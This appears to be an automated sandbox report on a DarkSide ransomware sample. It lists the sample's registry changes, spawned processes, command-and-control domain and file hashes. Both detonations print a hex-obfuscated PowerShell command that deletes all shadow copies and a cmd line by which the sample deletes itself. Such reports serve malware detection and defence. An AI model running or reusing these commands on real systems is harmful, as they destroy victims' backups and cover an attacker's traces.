Analysis Overview
SHA256
4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e
Threat Level: Known bad
The file 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e was found to be: Known bad.
Malicious Activity Summary
DarkSide
Modifies extensions of user files
VMProtect packed file
Deletes itself
Reads user/profile data of web browsers
Sets desktop wallpaper using registry
Enumerates physical storage devices
Modifies registry class
Suspicious use of WriteProcessMemory
Modifies Control Panel
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2021-05-14 22:23
Signatures
VMProtect packed file
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral2
Detonation Overview
Submitted
2021-05-14 22:23
Reported
2021-05-14 22:26
Platform
win10v20210410
Max time kernel
66s
Max time network
113s
Command Line
Signatures
DarkSide
Modifies extensions of user files
VMProtect packed file
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Reads user/profile data of web browsers
Sets desktop wallpaper using registry
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\7b336f65.BMP" | C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\7b336f65.BMP" | C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe | N/A |
Enumerates physical storage devices
Modifies Control Panel
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\WallpaperStyle = "10" | C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\.7b336f65 | C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\.7b336f65\ = "7b336f65" | C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\7b336f65\DefaultIcon | C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\7b336f65 | C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\7b336f65\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\7b336f65.ico" | C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 3692 wrote to memory of 788 | N/A | C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 3692 wrote to memory of 788 | N/A | C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 3692 wrote to memory of 4648 | N/A | C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe | C:\Windows\SysWOW64\cmd.exe |
| PID 3692 wrote to memory of 4648 | N/A | C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe | C:\Windows\SysWOW64\cmd.exe |
| PID 3692 wrote to memory of 4648 | N/A | C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe | C:\Windows\SysWOW64\cmd.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
"C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\4098B5~1.EXE >> NUL
Network
| Country | Destination | Domain | Proto |
| N/A | 8.8.8.8:53 | securebestapp20.com | udp |
| N/A | 185.105.109.19:443 | securebestapp20.com | tcp |
| N/A | 8.8.8.8:53 | 19.0.10.10.in-addr.arpa | udp |
| N/A | 8.8.8.8:53 | 1.0.10.10.in-addr.arpa | udp |
| N/A | 10.10.0.19:5355 | udp | |
| N/A | 185.105.109.19:443 | securebestapp20.com | tcp |
Files
memory/3692-114-0x0000000000A30000-0x0000000000A31000-memory.dmp
memory/3692-115-0x0000000000A50000-0x0000000000A51000-memory.dmp
memory/3692-116-0x0000000000A60000-0x0000000000A61000-memory.dmp
memory/3692-117-0x0000000000A70000-0x0000000000A71000-memory.dmp
memory/3692-118-0x0000000000A80000-0x0000000000A81000-memory.dmp
memory/3692-119-0x0000000000A90000-0x0000000000A91000-memory.dmp
memory/3692-120-0x0000000000EA0000-0x0000000000EA1000-memory.dmp
memory/3692-121-0x0000000000EB0000-0x0000000000EB1000-memory.dmp
memory/3692-122-0x0000000000EC0000-0x0000000000EC1000-memory.dmp
memory/3692-123-0x0000000000ED0000-0x0000000000ED1000-memory.dmp
memory/3692-124-0x0000000000EE0000-0x0000000000EE1000-memory.dmp
memory/3692-125-0x0000000000F00000-0x0000000000F01000-memory.dmp
memory/3692-126-0x0000000000F10000-0x0000000000F11000-memory.dmp
memory/3692-127-0x0000000000F20000-0x0000000000F21000-memory.dmp
memory/3692-128-0x0000000000F30000-0x0000000000F31000-memory.dmp
memory/3692-129-0x0000000000F40000-0x0000000000F41000-memory.dmp
memory/3692-130-0x0000000000F90000-0x0000000001938000-memory.dmp
memory/788-132-0x0000000000000000-mapping.dmp
memory/788-138-0x0000027656C90000-0x0000027656C91000-memory.dmp
memory/788-143-0x0000027658F40000-0x0000027658F41000-memory.dmp
memory/788-153-0x0000027656CE3000-0x0000027656CE5000-memory.dmp
memory/788-152-0x0000027656CE0000-0x0000027656CE2000-memory.dmp
memory/788-154-0x0000027656CE6000-0x0000027656CE8000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | ea6243fdb2bfcca2211884b0a21a0afc |
| SHA1 | 2eee5232ca6acc33c3e7de03900e890f4adf0f2f |
| SHA256 | 5bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8 |
| SHA512 | 189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 4e6bfbce421737e7efe025c7db9dab1f |
| SHA1 | 9ea324826b23baa629e1b2b7c7831b9b6dc5632b |
| SHA256 | 2aee19873ed03a99ed8ce0b960fd9ca9a057fb401ebb81fa3bc26b1a1e26bc60 |
| SHA512 | 9a5e854b9e43a78081bccdc5f2cca09e249888387b5889b80afd1f8ab0de6469b3972b7f987b7cb867292e3e8cb47520d00dbddb2725b9f9fdf1ffccf2aed61d |
memory/4648-162-0x0000000000000000-mapping.dmp
Analysis: behavioral1
Detonation Overview
Submitted
2021-05-14 22:23
Reported
2021-05-14 22:27
Platform
win7v20210408
Max time kernel
69s
Max time network
115s
Command Line
Signatures
DarkSide
Modifies extensions of user files
VMProtect packed file
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Deletes itself
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\cmd.exe | N/A |
Reads user/profile data of web browsers
Sets desktop wallpaper using registry
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\f2cbf9aa.BMP" | C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\f2cbf9aa.BMP" | C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe | N/A |
Enumerates physical storage devices
Modifies Control Panel
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Control Panel\Desktop\WallpaperStyle = "10" | C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\.f2cbf9aa | C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\.f2cbf9aa\ = "f2cbf9aa" | C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\f2cbf9aa\DefaultIcon | C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\f2cbf9aa | C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\f2cbf9aa\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\f2cbf9aa.ico" | C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
"C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\4098B5~1.EXE >> NUL
Network
| Country | Destination | Domain | Proto |
| N/A | 8.8.8.8:53 | securebestapp20.com | udp |
| N/A | 8.8.8.8:53 | 1.0.7.10.in-addr.arpa | udp |
| N/A | 8.8.8.8:53 | securebestapp20.com | udp |
Files
memory/2000-59-0x00000000000E0000-0x00000000000E1000-memory.dmp
memory/2000-60-0x00000000000F0000-0x00000000000F1000-memory.dmp
memory/2000-61-0x0000000000140000-0x0000000000141000-memory.dmp
memory/2000-62-0x0000000000150000-0x0000000000151000-memory.dmp
memory/2000-63-0x0000000000160000-0x0000000000161000-memory.dmp
memory/2000-64-0x0000000000170000-0x0000000000171000-memory.dmp
memory/2000-65-0x0000000000180000-0x0000000000181000-memory.dmp
memory/2000-66-0x0000000000190000-0x0000000000191000-memory.dmp
memory/2000-67-0x00000000001A0000-0x00000000001A1000-memory.dmp
memory/2000-68-0x00000000001B0000-0x00000000001B1000-memory.dmp
memory/2000-69-0x00000000003C0000-0x00000000003C1000-memory.dmp
memory/2000-70-0x00000000003E0000-0x00000000003E1000-memory.dmp
memory/2000-71-0x00000000003F0000-0x00000000003F1000-memory.dmp
memory/2000-72-0x0000000000400000-0x0000000000401000-memory.dmp
memory/2000-73-0x0000000000410000-0x0000000000411000-memory.dmp
memory/2000-74-0x00000000004A0000-0x00000000004A1000-memory.dmp
memory/2000-75-0x0000000001320000-0x0000000001CC8000-memory.dmp
memory/2000-76-0x0000000075D11000-0x0000000075D13000-memory.dmp
memory/1636-78-0x0000000000000000-mapping.dmp
memory/1636-79-0x000007FEFC251000-0x000007FEFC253000-memory.dmp
memory/1636-80-0x0000000002410000-0x0000000002411000-memory.dmp
memory/1636-81-0x000000001AC30000-0x000000001AC31000-memory.dmp
memory/1636-82-0x000000001ABB0000-0x000000001ABB2000-memory.dmp
memory/1636-83-0x000000001ABB4000-0x000000001ABB6000-memory.dmp
memory/1636-84-0x00000000024F0000-0x00000000024F1000-memory.dmp
memory/1636-85-0x0000000002450000-0x0000000002451000-memory.dmp
memory/1636-86-0x000000001C5B0000-0x000000001C5B1000-memory.dmp
memory/1636-87-0x000000001C410000-0x000000001C411000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
| MD5 | 71c49ad704074f545b3e2456c2a858cd |
| SHA1 | 6016064666a5163a4d4a13b6f04425b02b9ef8a6 |
| SHA256 | 0a6032eac2f01d20aef518ca6464a5eb600754bd63666575bb54e7edeb563626 |
| SHA512 | b44764769b62d11232722827dfd02d4487d9dbf85b30e5a0a18801aade7d385a96bdee76d5c3795827c9b947666e86164b6184110ed6c27704b9e96aedd7bef6 |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
| MD5 | 56a3d988c0daefe8923e4e9024c5e15c |
| SHA1 | c17f260c617625613a94a821eed26f6164c445c1 |
| SHA256 | da5c6352442b402a010e253a260b5406cd2582e0903808a652663addf9553fa6 |
| SHA512 | 016c135c43449b0b24255a829f9e9fbba9e51fb5c2716951ab477e62ba56b5a1fcb34ce9ed7e75cd444ade8eb9cd3a0bbad96ff068bfb887c31c046a4ee6ac89 |
memory/2724-90-0x0000000000000000-mapping.dmp